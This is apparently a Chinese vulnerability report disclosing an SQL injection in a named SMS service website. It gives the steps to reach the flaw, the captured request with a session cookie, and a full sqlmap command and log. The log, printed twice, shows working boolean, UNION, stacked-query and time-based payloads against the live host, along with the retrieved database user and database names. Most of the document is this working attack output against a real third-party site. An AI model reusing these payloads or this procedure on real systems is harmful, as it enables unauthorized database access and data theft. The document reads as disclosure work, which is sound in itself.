### 简要描述: rt ### 详细说明: ``` http://sms.finereason.com/ ``` 首先注册一个用户,登陆。然后在 ``` http://sms.finereason.com/member/ComSms.asp?tid=1 ``` 存在在注入。用burp抓包,然后保存。 ``` GET /member/ComSms.asp?tid=1* HTTP/1.1 Host: sms.finereason.com Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: ASPSESSIONIDACQQQBBQ=LCCGAAPCOOIFOPAABCCAEHHF ``` ``` [root@Hacker~]# Sqlmap -r "C:\Users\A\Desktop\3.txt" --delay=2 --current-us er --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon...
### 简要描述: rt ### 详细说明: ``` http://sms.finereason.com/ ``` 首先注册一个用户,登陆。然后在 ``` http://sms.finereason.com/member/ComSms.asp?tid=1 ``` 存在在注入。用burp抓包,然后保存。 ``` GET /member/ComSms.asp?tid=1* HTTP/1.1 Host: sms.finereason.com Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: ASPSESSIONIDACQQQBBQ=LCCGAAPCOOIFOPAABCCAEHHF ``` ``` [root@Hacker~]# Sqlmap -r "C:\Users\A\Desktop\3.txt" --delay=2 --current-us er --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 13:21:16 [13:21:16] [INFO] parsing HTTP request from 'C:\Users\A\Desktop\3.txt' custom injection marking character ('*') found in option '-u'. Do you want to pr ocess it? [Y/n/q] y [13:21:18] [INFO] resuming back-end DBMS 'microsoft sql server' [13:21:18] [INFO] testing connection to the target URL sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: URI Parameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 7289=7289 Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=-9845 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(103)+CHAR(119)+CHAR(112)+CHAR(113)+CHAR(75)+CHAR (81)+CHAR(75)+CHAR(86)+CHAR(85)+CHAR(65)+CHAR(85)+CHAR(100)+CHAR(69)+CHAR(67)+CH AR(113)+CHAR(98)+CHAR(102)+CHAR(105)+CHAR(113),NULL,NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query) Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 5345=(SELE CT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --- [13:21:21] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2008 web application technology: ASP.NET, Microsoft IIS 7.5 back-end DBMS: Microsoft SQL Server 2005 [13:21:21] [INFO] fetching current user current user: 'frsms' [13:21:21] [INFO] fetching database names [13:21:23] [WARNING] the SQL query provided does not return any output [13:21:23] [WARNING] in case of continuous data retrieval problems you are advis ed to try a switch '--no-cast' or switch '--hex' [13:21:23] [INFO] fetching number of databases [13:21:23] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [13:21:23] [INFO] retrieved: [13:21:29] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [13:21:55] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based payloads [13:22:00] [ERROR] unable to retrieve the number of databases [13:22:02] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] frsms [*] master [*] model [*] msdb [*] tempdb [*] ZPHManager [13:22:17] [WARNING] HTTP error codes detected during run: 403 (Forbidden) - 7 times [13:22:17] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [13:22:17] [INFO] fetched data logged to text files under 'G:\SQLMAP~1.4\Bin\output\sms.finereason.com' [*] shutting down at 13:22:17 ``` ### 漏洞证明: ``` [root@Hacker~]# Sqlmap -r "C:\Users\A\Desktop\3.txt" --delay=2 --current-us er --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 13:21:16 [13:21:16] [INFO] parsing HTTP request from 'C:\Users\A\Desktop\3.txt' custom injection marking character ('*') found in option '-u'. Do you want to pr ocess it? [Y/n/q] y [13:21:18] [INFO] resuming back-end DBMS 'microsoft sql server' [13:21:18] [INFO] testing connection to the target URL sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: URI Parameter: #1* Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 7289=7289 Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=-9845 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(103)+CHAR(119)+CHAR(112)+CHAR(113)+CHAR(75)+CHAR (81)+CHAR(75)+CHAR(86)+CHAR(85)+CHAR(65)+CHAR(85)+CHAR(100)+CHAR(69)+CHAR(67)+CH AR(113)+CHAR(98)+CHAR(102)+CHAR(105)+CHAR(113),NULL,NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query) Payload: http://sms.finereason.com:80/member/ComSms.asp?tid=1 AND 5345=(SELE CT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --- [13:21:21] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2008 web application technology: ASP.NET, Microsoft IIS 7.5 back-end DBMS: Microsoft SQL Server 2005 [13:21:21] [INFO] fetching current user current user: 'frsms' [13:21:21] [INFO] fetching database names [13:21:23] [WARNING] the SQL query provided does not return any output [13:21:23] [WARNING] in case of continuous data retrieval problems you are advis ed to try a switch '--no-cast' or switch '--hex' [13:21:23] [INFO] fetching number of databases [13:21:23] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [13:21:23] [INFO] retrieved: [13:21:29] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [13:21:55] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based payloads [13:22:00] [ERROR] unable to retrieve the number of databases [13:22:02] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] frsms [*] master [*] model [*] msdb [*] tempdb [*] ZPHManager [13:22:17] [WARNING] HTTP error codes detected during run: 403 (Forbidden) - 7 times [13:22:17] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. [13:22:17] [INFO] fetched data logged to text files under 'G:\SQLMAP~1.4\Bin\output\sms.finereason.com' [*] shutting down at 13:22:17 ```